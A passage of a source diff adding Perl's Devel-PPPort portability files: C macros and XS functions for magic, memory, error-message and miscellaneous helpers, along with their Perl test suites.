+ XPUSHs(sv_2mortal(newSVpv(mg->mg_ptr, strlen(mg->mg_ptr))));
+ } else {
+ XPUSHs(sv_2mortal(newSVpvs("Sorry, your princess is in another castle.")));
+ }
+
+void
+sv_catpv_mg(sv, string)
+ SV *sv;
+ char *string;
+ CODE:
+ sv_catpv_mg(sv, string);
+
+void
+sv_catpvn_mg(sv, sv2)
+ SV *sv;
+ SV *sv2;
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV(sv2, len);
+ sv_catpvn_mg(sv, str, len);
+
+void
+sv_catsv_mg(sv, sv2)
+ SV *sv;
+ SV *sv2;
+ CODE:
+ sv_catsv_mg(sv, sv2);
+
+void
+sv_setiv_mg(sv, iv)
+ SV *sv;
+ IV iv;
+ CODE:
+ sv_setiv_mg(sv, iv);
+
+void
+sv_setnv_mg(sv, nv)
+ SV *sv;
+ NV nv;
+ CODE:
+ sv_setnv_mg(sv, nv);
+
+void
+sv_setpv_mg(sv, pv)
+ SV *sv;
+ char *pv;
+ CODE:
+ sv_setpv_mg(sv, pv);
+
+void
+sv_setpvn_mg(sv, sv2)
+ SV *sv;
+ SV *sv2;
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV(sv2, len);
+ sv_setpvn_mg(sv, str, len);
+
+void
+sv_setsv_mg(sv, sv2)
+ SV *sv;
+ SV *sv2;
+ CODE:
+ sv_setsv_mg(sv, sv2);
+
+void
+sv_setuv_mg(sv, uv)
+ SV *sv;
+ UV uv;
+ CODE:
+ sv_setuv_mg(sv, uv);
+
+void
+sv_usepvn_mg(sv, sv2)
+ SV *sv;
+ SV *sv2;
+ PREINIT:
+ char *str, *copy;
+ STRLEN len;
+ CODE:
+ str = SvPV(sv2, len);
+ New(42, copy, len+1, char);
+ Copy(str, copy, len+1, char);
+ sv_usepvn_mg(sv, copy, len);
+
+int
+SvVSTRING_mg(sv)
+ SV *sv;
+ CODE:
+ RETVAL = SvVSTRING_mg(sv) != NULL;
+ OUTPUT:
+ RETVAL
+
+int
+sv_magic_portable(sv)
+ SV *sv
+ PREINIT:
+ MAGIC *mg;
+ const char *foo = "foo";
+ CODE:
+#if { VERSION >= 5.004 }
+ sv_magic_portable(sv, 0, '~', foo, 0);
+ mg = mg_find(sv, '~');
+ if (!mg)
+ croak("No mg!");
+
+ RETVAL = mg->mg_ptr == foo;
+#else
+ sv_magic(sv, 0, '~', (char *) foo, strlen(foo));
+ mg = mg_find(sv, '~');
+ RETVAL = strEQ(mg->mg_ptr, foo);
+#endif
+ sv_unmagic(sv, '~');
+ OUTPUT:
+ RETVAL
+
+=tests plan => 23
+
+# Find proper magic
+ok(my $obj1 = Devel::PPPort->new_with_mg());
+ok(Devel::PPPort::as_string($obj1), 'hello');
+
+# Find with no magic
+my $obj = bless {}, 'Fake::Class';
+ok(Devel::PPPort::as_string($obj), "Sorry, your princess is in another castle.");
+
+# Find with other magic (not the magic we are looking for)
+ok($obj = Devel::PPPort->new_with_other_mg());
+ok(Devel::PPPort::as_string($obj), "Sorry, your princess is in another castle.");
+
+# Okay, attempt to remove magic that isn't there
+Devel::PPPort::remove_other_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), 'hello');
+
+# Remove magic that IS there
+Devel::PPPort::remove_null_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), "Sorry, your princess is in another castle.");
+
+# Removing when no magic present
+Devel::PPPort::remove_null_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), "Sorry, your princess is in another castle.");
+
+use Tie::Hash;
+my %h;
+tie %h, 'Tie::StdHash';
+$h{foo} = 'foo';
+$h{bar} = '';
+
+&Devel::PPPort::sv_catpv_mg($h{foo}, 'bar');
+ok($h{foo}, 'foobar');
+
+&Devel::PPPort::sv_catpvn_mg($h{bar}, 'baz');
+ok($h{bar}, 'baz');
+
+&Devel::PPPort::sv_catsv_mg($h{foo}, '42');
+ok($h{foo}, 'foobar42');
+
+&Devel::PPPort::sv_setiv_mg($h{bar}, 42);
+ok($h{bar}, 42);
+
+&Devel::PPPort::sv_setnv_mg($h{PI}, 3.14159);
+ok(abs($h{PI} - 3.14159) < 0.01);
+
+&Devel::PPPort::sv_setpv_mg($h{mhx}, 'mhx');
+ok($h{mhx}, 'mhx');
+
+&Devel::PPPort::sv_setpvn_mg($h{mhx}, 'Marcus');
+ok($h{mhx}, 'Marcus');
+
+&Devel::PPPort::sv_setsv_mg($h{sv}, 'SV');
+ok($h{sv}, 'SV');
+
+&Devel::PPPort::sv_setuv_mg($h{sv}, 4711);
+ok($h{sv}, 4711);
+
+&Devel::PPPort::sv_usepvn_mg($h{sv}, 'Perl');
+ok($h{sv}, 'Perl');
+
+# v1 is treated as a bareword in older perls...
+my $ver = do { local $SIG{'__WARN__'} = sub {}; eval qq[v1.2.0] };
+ok($] < 5.009 || $@ eq '');
+ok($] < 5.009 || Devel::PPPort::SvVSTRING_mg($ver));
+ok(!Devel::PPPort::SvVSTRING_mg(4711));
+
+my $foo = 'bar';
+ok(Devel::PPPort::sv_magic_portable($foo));
+ok($foo eq 'bar');
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/memory b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/memory
new file mode 100644
index 00000000000..9a5425e39ed
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/memory
@@ -0,0 +1,85 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+#ifdef HAS_MEMCMP
+__UNDEFINED__ memNE(s1,s2,l) (memcmp(s1,s2,l))
+__UNDEFINED__ memEQ(s1,s2,l) (!memcmp(s1,s2,l))
+#else
+__UNDEFINED__ memNE(s1,s2,l) (bcmp(s1,s2,l))
+__UNDEFINED__ memEQ(s1,s2,l) (!bcmp(s1,s2,l))
+#endif
+
+__UNDEFINED__ memEQs(s1, l, s2) \
+ (sizeof(s2)-1 == l && memEQ(s1, (s2 ""), (sizeof(s2)-1)))
+__UNDEFINED__ memNEs(s1, l, s2) !memEQs(s1, l, s2)
+
+__UNDEFINED__ MoveD(s,d,n,t) memmove((char*)(d),(char*)(s), (n) * sizeof(t))
+__UNDEFINED__ CopyD(s,d,n,t) memcpy((char*)(d),(char*)(s), (n) * sizeof(t))
+#ifdef HAS_MEMSET
+__UNDEFINED__ ZeroD(d,n,t) memzero((char*)(d), (n) * sizeof(t))
+#else
+__UNDEFINED__ ZeroD(d,n,t) ((void)memzero((char*)(d), (n) * sizeof(t)), d)
+#endif
+
+__UNDEFINED__ PoisonWith(d,n,t,b) (void)memset((char*)(d), (U8)(b), (n) * sizeof(t))
+__UNDEFINED__ PoisonNew(d,n,t) PoisonWith(d,n,t,0xAB)
+__UNDEFINED__ PoisonFree(d,n,t) PoisonWith(d,n,t,0xEF)
+__UNDEFINED__ Poison(d,n,t) PoisonFree(d,n,t)
+
+__UNDEFINED__ Newx(v,n,t) New(0,v,n,t)
+__UNDEFINED__ Newxc(v,n,t,c) Newc(0,v,n,t,c)
+__UNDEFINED__ Newxz(v,n,t) Newz(0,v,n,t)
+
+=xsubs
+
+int
+checkmem()
+ PREINIT:
+ char *p;
+
+ CODE:
+ RETVAL = 0;
+ Newx(p, 6, char);
+ CopyD("Hello", p, 6, char);
+ if (memEQ(p, "Hello", 6))
+ RETVAL++;
+ ZeroD(p, 6, char);
+ if (memEQ(p, "\0\0\0\0\0\0", 6))
+ RETVAL++;
+ if (memEQs(p, 6, "\0\0\0\0\0\0"))
+ RETVAL++;
+ Poison(p, 6, char);
+ if (memNE(p, "\0\0\0\0\0\0", 6))
+ RETVAL++;
+ if (memNEs(p, 6, "\0\0\0\0\0\0"))
+ RETVAL++;
+ Safefree(p);
+
+ Newxz(p, 6, char);
+ if (memEQ(p, "\0\0\0\0\0\0", 6))
+ RETVAL++;
+ Safefree(p);
+
+ Newxc(p, 3, short, char);
+ Safefree(p);
+
+ OUTPUT:
+ RETVAL
+
+=tests plan => 1
+
+ok(Devel::PPPort::checkmem(), 6);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mess b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mess
new file mode 100644
index 00000000000..49755ec3896
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mess
@@ -0,0 +1,518 @@
+################################################################################
+##
+## Copyright (C) 2017, Pali <pali@cpan.org>
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+croak_sv
+die_sv
+mess_sv
+warn_sv
+
+vmess
+mess_nocontext
+mess
+
+warn_nocontext
+
+croak_nocontext
+
+croak_no_modify
+Perl_croak_no_modify
+
+croak_memory_wrap
+croak_xs_usage
+
+PERL_ARGS_ASSERT_CROAK_XS_USAGE
+
+=dontwarn
+
+NEED_mess
+NEED_mess_nocontext
+NEED_vmess
+
+=implementation
+
+#ifdef NEED_mess_sv
+#define NEED_mess
+#endif
+
+#ifdef NEED_mess
+#define NEED_mess_nocontext
+#define NEED_vmess
+#endif
+
+#ifndef croak_sv
+#if { VERSION >= 5.7.3 } || ( { VERSION >= 5.6.1 } && { VERSION < 5.7.0 } )
+# if ( { VERSION >= 5.8.0 } && { VERSION < 5.8.9 } ) || ( { VERSION >= 5.9.0 } && { VERSION < 5.10.1 } )
+# define D_PPP_FIX_UTF8_ERRSV(errsv, sv) \
+ STMT_START { \
+ if (sv != ERRSV) \
+ SvFLAGS(ERRSV) = (SvFLAGS(ERRSV) & ~SVf_UTF8) | \
+ (SvFLAGS(sv) & SVf_UTF8); \
+ } STMT_END
+# else
+# define D_PPP_FIX_UTF8_ERRSV(errsv, sv) STMT_START {} STMT_END
+# endif
+# define croak_sv(sv) \
+ STMT_START { \
+ if (SvROK(sv)) { \
+ sv_setsv(ERRSV, sv); \
+ croak(NULL); \
+ } else { \
+ D_PPP_FIX_UTF8_ERRSV(ERRSV, sv); \
+ croak("%" SVf, SVfARG(sv)); \
+ } \
+ } STMT_END
+#elif { VERSION >= 5.4.0 }
+# define croak_sv(sv) croak("%" SVf, SVfARG(sv))
+#else
+# define croak_sv(sv) croak("%s", SvPV_nolen(sv))
+#endif
+#endif
+
+#ifndef die_sv
+#if { NEED die_sv }
+OP *
+die_sv(pTHX_ SV *sv)
+{
+ croak_sv(sv);
+ return (OP *)NULL;
+}
+#endif
+#endif
+
+#ifndef warn_sv
+#if { VERSION >= 5.4.0 }
+# define warn_sv(sv) warn("%" SVf, SVfARG(sv))
+#else
+# define warn_sv(sv) warn("%s", SvPV_nolen(sv))
+#endif
+#endif
+
+#ifndef vmess
+#if { NEED vmess }
+SV*
+vmess(pTHX_ const char* pat, va_list* args)
+{
+ mess(pat, args);
+ return PL_mess_sv;
+}
+#endif
+#endif
+
+#if { VERSION < 5.6.0 }
+#undef mess
+#endif
+
+#if !defined(mess_nocontext) && !defined(Perl_mess_nocontext)
+#if { NEED mess_nocontext }
+SV*
+mess_nocontext(const char* pat, ...)
+{
+ dTHX;
+ SV *sv;
+ va_list args;
+ va_start(args, pat);
+ sv = vmess(pat, &args);
+ va_end(args);
+ return sv;
+}
+#endif
+#endif
+
+#ifndef mess
+#if { NEED mess }
+SV*
+mess(pTHX_ const char* pat, ...)
+{
+ SV *sv;
+ va_list args;
+ va_start(args, pat);
+ sv = vmess(pat, &args);
+ va_end(args);
+ return sv;
+}
+#ifdef mess_nocontext
+#define mess mess_nocontext
+#else
+#define mess Perl_mess_nocontext
+#endif
+#endif
+#endif
+
+#ifndef mess_sv
+#if { NEED mess_sv }
+SV *
+mess_sv(pTHX_ SV *basemsg, bool consume)
+{
+ SV *tmp;
+ SV *ret;
+
+ if (SvPOK(basemsg) && SvCUR(basemsg) && *(SvEND(basemsg)-1) == '\n') {
+ if (consume)
+ return basemsg;
+ ret = mess("");
+ SvSetSV_nosteal(ret, basemsg);
+ return ret;
+ }
+
+ if (consume) {
+ sv_catsv(basemsg, mess(""));
+ return basemsg;
+ }
+
+ ret = mess("");
+ tmp = newSVsv(ret);
+ SvSetSV_nosteal(ret, basemsg);
+ sv_catsv(ret, tmp);
+ sv_dec(tmp);
+ return ret;
+}
+#endif
+#endif
+
+#ifndef warn_nocontext
+#define warn_nocontext warn
+#endif
+
+#ifndef croak_nocontext
+#define croak_nocontext croak
+#endif
+
+#ifndef croak_no_modify
+#define croak_no_modify() croak_nocontext("%s", PL_no_modify)
+#define Perl_croak_no_modify() croak_no_modify()
+#endif
+
+#ifndef croak_memory_wrap
+#if { VERSION >= 5.9.2 } || ( { VERSION >= 5.8.6 } && { VERSION < 5.9.0 } )
+# define croak_memory_wrap() croak_nocontext("%s", PL_memory_wrap)
+#else
+# define croak_memory_wrap() croak_nocontext("panic: memory wrap")
+#endif
+#endif
+
+#ifndef croak_xs_usage
+#if { NEED croak_xs_usage }
+
+#ifndef PERL_ARGS_ASSERT_CROAK_XS_USAGE
+#define PERL_ARGS_ASSERT_CROAK_XS_USAGE assert(cv); assert(params)
+#endif
+
+void
+croak_xs_usage(const CV *const cv, const char *const params)
+{
+ dTHX;
+ const GV *const gv = CvGV(cv);
+
+ PERL_ARGS_ASSERT_CROAK_XS_USAGE;
+
+ if (gv) {
+ const char *const gvname = GvNAME(gv);
+ const HV *const stash = GvSTASH(gv);
+ const char *const hvname = stash ? HvNAME(stash) : NULL;
+
+ if (hvname)
+ croak("Usage: %s::%s(%s)", hvname, gvname, params);
+ else
+ croak("Usage: %s(%s)", gvname, params);
+ } else {
+ /* Pants. I don't think that it should be possible to get here. */
+ croak("Usage: CODE(0x%" UVxf ")(%s)", PTR2UV(cv), params);
+ }
+}
+#endif
+#endif
+
+=xsinit
+
+#define NEED_die_sv
+#define NEED_mess_sv
+#define NEED_croak_xs_usage
+
+=xsubs
+
+void
+croak_sv(sv)
+ SV *sv
+CODE:
+ croak_sv(sv);
+
+void
+die_sv(sv)
+ SV *sv
+CODE:
+ (void)die_sv(sv);
+
+void
+warn_sv(sv)
+ SV *sv
+CODE:
+ warn_sv(sv);
+
+SV *
+mess_sv(sv, consume)
+ SV *sv
+ bool consume
+CODE:
+ RETVAL = newSVsv(mess_sv(sv, consume));
+OUTPUT:
+ RETVAL
+
+void
+croak_no_modify()
+CODE:
+ croak_no_modify();
+
+void
+croak_memory_wrap()
+CODE:
+ croak_memory_wrap();
+
+void
+croak_xs_usage(params)
+ char *params
+CODE:
+ croak_xs_usage(cv, params);
+
+=tests plan => 93
+
+BEGIN { if ($] lt '5.006') { $^W = 0; } }
+
+my $warn;
+my $die;
+local $SIG{__WARN__} = sub { $warn = $_[0] };
+local $SIG{__DIE__} = sub { $die = $_[0] };
+
+my $scalar_ref = \do {my $tmp = 10};
+my $array_ref = [];
+my $hash_ref = {};
+my $obj = bless {}, 'Package';
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xE1\n") };
+ok $@, "\xE1\n";
+ok $die, "\xE1\n";
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv(10) };
+ok $@ =~ /^10 at $0 line /;
+ok $die =~ /^10 at $0 line /;
+
+undef $die;
+$@ = 'should not be visible (1)';
+ok !defined eval {
+ $@ = 'should not be visible (2)';
+ Devel::PPPort::croak_sv('');
+};
+ok $@ =~ /^ at $0 line /;
+ok $die =~ /^ at $0 line /;
+
+undef $die;
+$@ = 'should not be visible';
+ok !defined eval {
+ $@ = 'this must be visible';
+ Devel::PPPort::croak_sv($@)
+};
+ok $@ =~ /^this must be visible at $0 line /;
+ok $die =~ /^this must be visible at $0 line /;
+
+undef $die;
+$@ = 'should not be visible';
+ok !defined eval {
+ $@ = "this must be visible\n";
+ Devel::PPPort::croak_sv($@)
+};
+ok $@, "this must be visible\n";
+ok $die, "this must be visible\n";
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv('') };
+ok $@ =~ /^ at $0 line /;
+ok $die =~ /^ at $0 line /;
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xE1") };
+ok $@ =~ /^\xE1 at $0 line /;
+ok $die =~ /^\xE1 at $0 line /;
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") };
+ok $@ =~ /^\xC3\xA1 at $0 line /;
+ok $die =~ /^\xC3\xA1 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xE1\n");
+ok $warn, "\xE1\n";
+
+undef $warn;
+Devel::PPPort::warn_sv(10);
+ok $warn =~ /^10 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv('');
+ok $warn =~ /^ at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xE1");
+ok $warn =~ /^\xE1 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xC3\xA1");
+ok $warn =~ /^\xC3\xA1 at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xE1\n", 0), "\xE1\n";
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1\n"}, 1), "\xE1\n";
+
+ok Devel::PPPort::mess_sv(10, 0) =~ /^10 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = 10}, 1) =~ /^10 at $0 line /;
+
+ok Devel::PPPort::mess_sv('', 0) =~ /^ at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = ''}, 1) =~ /^ at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xE1", 0) =~ /^\xE1 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1"}, 1) =~ /^\xE1 at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ /^\xC3\xA1 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ /^\xC3\xA1 at $0 line /;
+
+if ($] ge '5.006') {
+ BEGIN { if ($] ge '5.006' && $] lt '5.008') { require utf8; utf8->import(); } }
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv("\x{100}\n") };
+ ok $@, "\x{100}\n";
+ if ($] ne '5.008') {
+ ok $die, "\x{100}\n";
+ } else {
+ skip 'skip: broken utf8 support in die hook', 0;
+ }
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv("\x{100}") };
+ ok $@ =~ /^\x{100} at $0 line /;
+ if ($] ne '5.008') {
+ ok $die =~ /^\x{100} at $0 line /;
+ } else {
+ skip 'skip: broken utf8 support in die hook', 0;
+ }
+
+ if ($] ne '5.008') {
+ undef $warn;
+ Devel::PPPort::warn_sv("\x{100}\n");
+ ok $warn, "\x{100}\n";
+
+ undef $warn;
+ Devel::PPPort::warn_sv("\x{100}");
+ ok (my $tmp = $warn) =~ /^\x{100} at $0 line /;
+ } else {
+ skip 'skip: broken utf8 support in warn hook', 0 for 1..2;
+ }
+
+ ok Devel::PPPort::mess_sv("\x{100}\n", 0), "\x{100}\n";
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}\n"}, 1), "\x{100}\n";
+
+ ok Devel::PPPort::mess_sv("\x{100}", 0) =~ /^\x{100} at $0 line /;
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}"}, 1) =~ /^\x{100} at $0 line /;
+} else {
+ skip 'skip: no utf8 support', 0 for 1..12;
+}
+
+if (ord('A') != 65) {
+ skip 'skip: no ASCII support', 0 for 1..24;
+} elsif ($] ge '5.008' && $] ne '5.012000') {
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}\n"') };
+ ok $@, "\xE1\n";
+ ok $die, "\xE1\n";
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}"') };
+ ok $@ =~ /^\xE1 at $0 line /;
+ ok $die =~ /^\xE1 at $0 line /;
+
+ {
+ undef $die;
+ my $expect = eval '"\N{U+C3}\N{U+A1}\n"';
+ ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1\n") };
+ ok $@, $expect;
+ ok $die, $expect;
+ }
+
+ {
+ undef $die;
+ my $expect = eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+ ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") };
+ ok $@ =~ $expect;
+ ok $die =~ $expect;
+ }
+
+ undef $warn;
+ Devel::PPPort::warn_sv(eval '"\N{U+E1}\n"');
+ ok $warn, "\xE1\n";
+
+ undef $warn;
+ Devel::PPPort::warn_sv(eval '"\N{U+E1}"');
+ ok $warn =~ /^\xE1 at $0 line /;
+
+ undef $warn;
+ Devel::PPPort::warn_sv("\xC3\xA1\n");
+ ok $warn, eval '"\N{U+C3}\N{U+A1}\n"';
+
+ undef $warn;
+ Devel::PPPort::warn_sv("\xC3\xA1");
+ ok $warn =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+
+ ok Devel::PPPort::mess_sv(eval('"\N{U+E1}\n"'), 0), eval '"\N{U+E1}\n"';
+ ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}\n"'}, 1), eval '"\N{U+E1}\n"';
+
+ ok Devel::PPPort::mess_sv(eval('"\N{U+E1}"'), 0) =~ eval 'qr/^\N{U+E1} at $0 line /';
+ ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}"'}, 1) =~ eval 'qr/^\N{U+E1} at $0 line /';
+
+ ok Devel::PPPort::mess_sv("\xC3\xA1\n", 0), eval '"\N{U+C3}\N{U+A1}\n"';
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1\n"}, 1), eval '"\N{U+C3}\N{U+A1}\n"';
+
+ ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+} else {
+ skip 'skip: no support for \N{U+..} syntax', 0 for 1..24;
+}
+
+if ($] ge '5.007003' or ($] ge '5.006001' and $] lt '5.007')) {
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($scalar_ref) };
+ ok $@ == $scalar_ref;
+ ok $die == $scalar_ref;
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($array_ref) };
+ ok $@ == $array_ref;
+ ok $die == $array_ref;
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($hash_ref) };
+ ok $@ == $hash_ref;
+ ok $die == $hash_ref;
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($obj) };
+ ok $@ == $obj;
+ ok $die == $obj;
+} else {
+ skip 'skip: no support for exceptions', 0 for 1..12;
+}
+
+ok !defined eval { Devel::PPPort::croak_no_modify() };
+ok $@ =~ /^Modification of a read-only value attempted at $0 line /;
+
+ok !defined eval { Devel::PPPort::croak_memory_wrap() };
+ok $@ =~ /^panic: memory wrap at $0 line /;
+
+ok !defined eval { Devel::PPPort::croak_xs_usage("params") };
+ok $@ =~ /^Usage: Devel::PPPort::croak_xs_usage\(params\) at $0 line /;
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/misc b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/misc
new file mode 100644
index 00000000000..949c481088e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/misc
@@ -0,0 +1,786 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+PERL_UNUSED_DECL
+PERL_UNUSED_ARG
+PERL_UNUSED_VAR
+PERL_UNUSED_CONTEXT
+PERL_UNUSED_RESULT
+PERL_GCC_BRACE_GROUPS_FORBIDDEN
+PERL_USE_GCC_BRACE_GROUPS
+PERLIO_FUNCS_DECL
+PERLIO_FUNCS_CAST
+NVTYPE
+INT2PTR
+PTRV
+NUM2PTR
+PERL_HASH
+PTR2IV
+PTR2UV
+PTR2NV
+PTR2ul
+START_EXTERN_C
+END_EXTERN_C
+EXTERN_C
+STMT_START
+STMT_END
+UTF8_MAXBYTES
+WIDEST_UTYPE
+XSRETURN
+HeUTF8
+C_ARRAY_LENGTH
+C_ARRAY_END
+SvRX
+SvRXOK
+cBOOL
+OpHAS_SIBLING
+OpSIBLING
+OpMORESIB_set
+OpLASTSIB_set
+OpMAYBESIB_set
+
+=implementation
+
+__UNDEFINED__ cBOOL(cbool) ((cbool) ? (bool)1 : (bool)0)
+__UNDEFINED__ OpHAS_SIBLING(o) (cBOOL((o)->op_sibling))
+__UNDEFINED__ OpSIBLING(o) (0 + (o)->op_sibling)
+__UNDEFINED__ OpMORESIB_set(o, sib) ((o)->op_sibling = (sib))
+__UNDEFINED__ OpLASTSIB_set(o, parent) ((o)->op_sibling = NULL)
+__UNDEFINED__ OpMAYBESIB_set(o, sib, parent) ((o)->op_sibling = (sib))
+
+#ifndef SvRX
+#if { NEED SvRX }
+
+void *
+SvRX(pTHX_ SV *rv)
+{
+ if (SvROK(rv)) {
+ SV *sv = SvRV(rv);
+ if (SvMAGICAL(sv)) {
+ MAGIC *mg = mg_find(sv, PERL_MAGIC_qr);
+ if (mg && mg->mg_obj) {
+ return mg->mg_obj;
+ }
+ }
+ }
+ return 0;
+}
+#endif
+#endif
+
+__UNDEFINED__ SvRXOK(sv) (!!SvRX(sv))
+
+#ifndef PERL_UNUSED_DECL
+# ifdef HASATTRIBUTE
+# if (defined(__GNUC__) && defined(__cplusplus)) || defined(__INTEL_COMPILER)
+# define PERL_UNUSED_DECL
+# else
+# define PERL_UNUSED_DECL __attribute__((unused))
+# endif
+# else
+# define PERL_UNUSED_DECL
+# endif
+#endif
+
+#ifndef PERL_UNUSED_ARG
+# if defined(lint) && defined(S_SPLINT_S) /* www.splint.org */
+# include <note.h>
+# define PERL_UNUSED_ARG(x) NOTE(ARGUNUSED(x))
+# else
+# define PERL_UNUSED_ARG(x) ((void)x)
+# endif
+#endif
+
+#ifndef PERL_UNUSED_VAR
+# define PERL_UNUSED_VAR(x) ((void)x)
+#endif
+
+#ifndef PERL_UNUSED_CONTEXT
+# ifdef USE_ITHREADS
+# define PERL_UNUSED_CONTEXT PERL_UNUSED_ARG(my_perl)
+# else
+# define PERL_UNUSED_CONTEXT
+# endif
+#endif
+
+#ifndef PERL_UNUSED_RESULT
+# if defined(__GNUC__) && defined(HASATTRIBUTE_WARN_UNUSED_RESULT)
+# define PERL_UNUSED_RESULT(v) STMT_START { __typeof__(v) z = (v); (void)sizeof(z); } STMT_END
+# else
+# define PERL_UNUSED_RESULT(v) ((void)(v))
+# endif
+#endif
+
+__UNDEFINED__ NOOP /*EMPTY*/(void)0
+__UNDEFINED__ dNOOP extern int /*@unused@*/ Perl___notused PERL_UNUSED_DECL
+
+#ifndef NVTYPE
+# if defined(USE_LONG_DOUBLE) && defined(HAS_LONG_DOUBLE)
+# define NVTYPE long double
+# else
+# define NVTYPE double
+# endif
+typedef NVTYPE NV;
+#endif
+
+#ifndef INT2PTR
+# if (IVSIZE == PTRSIZE) && (UVSIZE == PTRSIZE)
+# define PTRV UV
+# define INT2PTR(any,d) (any)(d)
+# else
+# if PTRSIZE == LONGSIZE
+# define PTRV unsigned long
+# else
+# define PTRV unsigned
+# endif
+# define INT2PTR(any,d) (any)(PTRV)(d)
+# endif
+#endif
+
+#ifndef PTR2ul
+# if PTRSIZE == LONGSIZE
+# define PTR2ul(p) (unsigned long)(p)
+# else
+# define PTR2ul(p) INT2PTR(unsigned long,p)
+# endif
+#endif
+
+__UNDEFINED__ PTR2nat(p) (PTRV)(p)
+__UNDEFINED__ NUM2PTR(any,d) (any)PTR2nat(d)
+__UNDEFINED__ PTR2IV(p) INT2PTR(IV,p)
+__UNDEFINED__ PTR2UV(p) INT2PTR(UV,p)
+__UNDEFINED__ PTR2NV(p) NUM2PTR(NV,p)
+
+#undef START_EXTERN_C
+#undef END_EXTERN_C
+#undef EXTERN_C
+#ifdef __cplusplus
+# define START_EXTERN_C extern "C" {
+# define END_EXTERN_C }
+# define EXTERN_C extern "C"
+#else
+# define START_EXTERN_C
+# define END_EXTERN_C
+# define EXTERN_C extern
+#endif
+
+#if defined(PERL_GCC_PEDANTIC)
+# ifndef PERL_GCC_BRACE_GROUPS_FORBIDDEN
+# define PERL_GCC_BRACE_GROUPS_FORBIDDEN
+# endif
+#endif
+
+#if defined(__GNUC__) && !defined(PERL_GCC_BRACE_GROUPS_FORBIDDEN) && !defined(__cplusplus)
+# ifndef PERL_USE_GCC_BRACE_GROUPS
+# define PERL_USE_GCC_BRACE_GROUPS
+# endif
+#endif
+
+#undef STMT_START
+#undef STMT_END
+#ifdef PERL_USE_GCC_BRACE_GROUPS
+# define STMT_START (void)( /* gcc supports ``({ STATEMENTS; })'' */
+# define STMT_END )
+#else
+# if defined(VOIDFLAGS) && (VOIDFLAGS) && (defined(sun) || defined(__sun__)) && !defined(__GNUC__)
+# define STMT_START if (1)
+# define STMT_END else (void)0
+# else
+# define STMT_START do
+# define STMT_END while (0)
+# endif
+#endif
+
+__UNDEFINED__ boolSV(b) ((b) ? &PL_sv_yes : &PL_sv_no)
+
+/* DEFSV appears first in 5.004_56 */
+__UNDEFINED__ DEFSV GvSV(PL_defgv)
